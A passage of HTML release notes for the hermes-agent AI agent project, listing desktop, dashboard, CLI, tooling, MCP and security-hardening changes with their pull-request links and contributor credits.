<li>Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (<a href="https://github.com/NousResearch/hermes-agent/pull/67469" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67469/hovercard">#67469</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67681" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67681/hovercard">#67681</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67282" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67282/hovercard">#67282</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63086/hovercard">#63086</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; <code>/journey</code> opens the memory graph overlay (<a href="https://github.com/NousResearch/hermes-agent/pull/67206" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67206/hovercard">#67206</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67209" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67209/hovercard">#67209</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67759/hovercard">#67759</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67472/hovercard">#67472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63520" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63520/hovercard">#63520</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60457/hovercard">#60457</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67029/hovercard">#67029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64598" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64598/hovercard">#64598</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57267" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57267/hovercard">#57267</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Full TypeScript conversion of the desktop tree (<a href="https://github.com/NousResearch/hermes-agent/pull/57855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57855/hovercard">#57855</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
<li>Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (<a href="https://github.com/NousResearch/hermes-agent/pull/60569" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60569/hovercard">#60569</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63699" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63699/hovercard">#63699</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65361" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65361/hovercard">#65361</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64636" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64636/hovercard">#64636</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>)</li>
<li>Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; <code>browser.headed</code> schema toggle; profile + gateway topology on <code>/api/status</code>; mobile/hosted OpenAI OAuth login (<a href="https://github.com/NousResearch/hermes-agent/pull/60515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60515/hovercard">#60515</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65895" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65895/hovercard">#65895</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61929" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61929/hovercard">#61929</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67046/hovercard">#67046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60537/hovercard">#60537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61330" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61330/hovercard">#61330</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><code>hermes serve</code> is a true headless backend (no web UI build/mount) (<a href="https://github.com/NousResearch/hermes-agent/pull/55923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55923/hovercard">#55923</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>🧰 CLI &amp; TUI</h2>
<ul>
<li><code>/subscription</code> + <code>/topup</code> terminal billing (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</li>
<li><strong><code>/model --once</code></strong> — one-turn model override that reverts automatically (<a href="https://github.com/NousResearch/hermes-agent/pull/67113" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67113/hovercard">#67113</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496326587" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/29923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29923/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/29923">#29923</a>)</li>
<li><strong>Stacked slash-skill invocations</strong> — <code>/skill-a /skill-b do XYZ</code> loads both skills in order (Claude Code port), with autocomplete + ghost text (<a href="https://github.com/NousResearch/hermes-agent/pull/57987" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57987/hovercard">#57987</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58763" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58763/hovercard">#58763</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><code>--safe-mode</code> troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; <code>/compact</code> alias + preview flags; pip/Homebrew installs warned unsupported (<a href="https://github.com/NousResearch/hermes-agent/pull/45300" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45300/hovercard">#45300</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60111/hovercard">#60111</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57992" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57992/hovercard">#57992</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57029/hovercard">#57029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57225/hovercard">#57225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (<a href="https://github.com/NousResearch/hermes-agent/pull/59782" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59782/hovercard">#59782</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62859/hovercard">#62859</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40624/hovercard">#40624</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hermes Console REPL + perf follow-ups; <code>hermes curator usage</code> all-skills view; entry-point plugins surfaced in <code>hermes plugins list</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/57781" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57781/hovercard">#57781</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36727" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36727/hovercard">#36727</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40623" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40623/hovercard">#40623</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System, Skills &amp; MCP</h2>
<ul>
<li>MCP: <code>mcp__server__tool</code> naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable <code>redirect_uri</code>/<code>redirect_host</code> for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (<a href="https://github.com/NousResearch/hermes-agent/pull/52750" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52750/hovercard">#52750</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57416" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57416/hovercard">#57416</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66151/hovercard">#66151</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65610" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65610/hovercard">#65610</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65622/hovercard">#65622</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64463" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64463/hovercard">#64463</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Skills: <code>security/unbroker</code> (autonomous data-broker removal) + blind opt-out hardening; <code>unreal-mcp</code> companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; <code>mcp-oauth-remote-gateway</code> optional skill (<a href="https://github.com/NousResearch/hermes-agent/pull/57438" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57438/hovercard">#57438</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57902/hovercard">#57902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65989" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65989/hovercard">#65989</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64715" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64715/hovercard">#64715</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65066" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65066/hovercard">#65066</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65486" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65486/hovercard">#65486</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (<a href="https://github.com/NousResearch/hermes-agent/pull/65923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65923/hovercard">#65923</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67123" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67123/hovercard">#67123</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (<a href="https://github.com/NousResearch/hermes-agent/pull/66333" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66333/hovercard">#66333</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63638/hovercard">#63638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60226/hovercard">#60226</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65698" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65698/hovercard">#65698</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63249" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63249/hovercard">#63249</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (<a href="https://github.com/NousResearch/hermes-agent/pull/61791" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61791/hovercard">#61791</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62014/hovercard">#62014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59567" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59567/hovercard">#59567</a>)</li>
<li>mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (<a href="https://github.com/NousResearch/hermes-agent/pull/56943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56943/hovercard">#56943</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60494/hovercard">#60494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (<a href="https://github.com/NousResearch/hermes-agent/pull/57017" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57017/hovercard">#57017</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63627" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63627/hovercard">#63627</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52220/hovercard">#52220</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Vertex: credential/project/region resolution through the profile secret scope; <code>VERTEX_CREDENTIALS_PATH</code>/<code>GOOGLE_APPLICATION_CREDENTIALS</code> stripped from subprocess env (<a href="https://github.com/NousResearch/hermes-agent/pull/56680" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56680/hovercard">#56680</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (<a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58752" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58752/hovercard">#58752</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57890" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57890/hovercard">#57890</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Webhook body-cap sweep: explicit <code>client_max_size</code> on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (<a href="https://github.com/NousResearch/hermes-agent/pull/59180" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59180/hovercard">#59180</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58902/hovercard">#58902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58508" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58508/hovercard">#58508</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (<a href="https://github.com/NousResearch/hermes-agent/pull/58501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58501/hovercard">#58501</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58534" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58534/hovercard">#58534</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58915" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58915/hovercard">#58915</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58893" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58893/hovercard">#58893</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>computer-use: subprocess env sanitized across all five cua-driver spawn sites (<a href="https://github.com/NousResearch/hermes-agent/pull/58889" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58889/hovercard">#58889</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59165" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59165/hovercard">#59165</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (<a href="https://github.com/NousResearch/hermes-agent/pull/58222" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58222/hovercard">#58222</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60236/hovercard">#60236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49435" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49435/hovercard">#49435</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>)</li>
<li>CI: untrusted refs passed through env, not <code>run:</code> interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (<a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60707" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60707/hovercard">#60707</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65186/hovercard">#65186</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
